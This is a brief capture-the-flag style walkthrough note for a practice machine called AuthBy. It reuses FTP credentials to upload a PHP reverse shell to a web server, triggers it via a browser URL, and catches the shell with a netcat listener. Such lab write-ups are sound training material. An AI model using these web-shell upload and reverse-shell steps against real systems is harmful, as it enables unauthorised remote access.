242

Now using the credentials obtained from ftp at [[PG Practice/AuthBy/21]]

So we can try to put a text file and check if it is accessible

echo "This is a test" > test.txt

Now in ftp:

put test.txt

And now upload in ftp:

put php-reverse-shell.php

and access it in browser: http://192.168.164.46:242/php-reverse-shell.php

We get a shell:

rlwrap nc -nlvp 3389

Last updated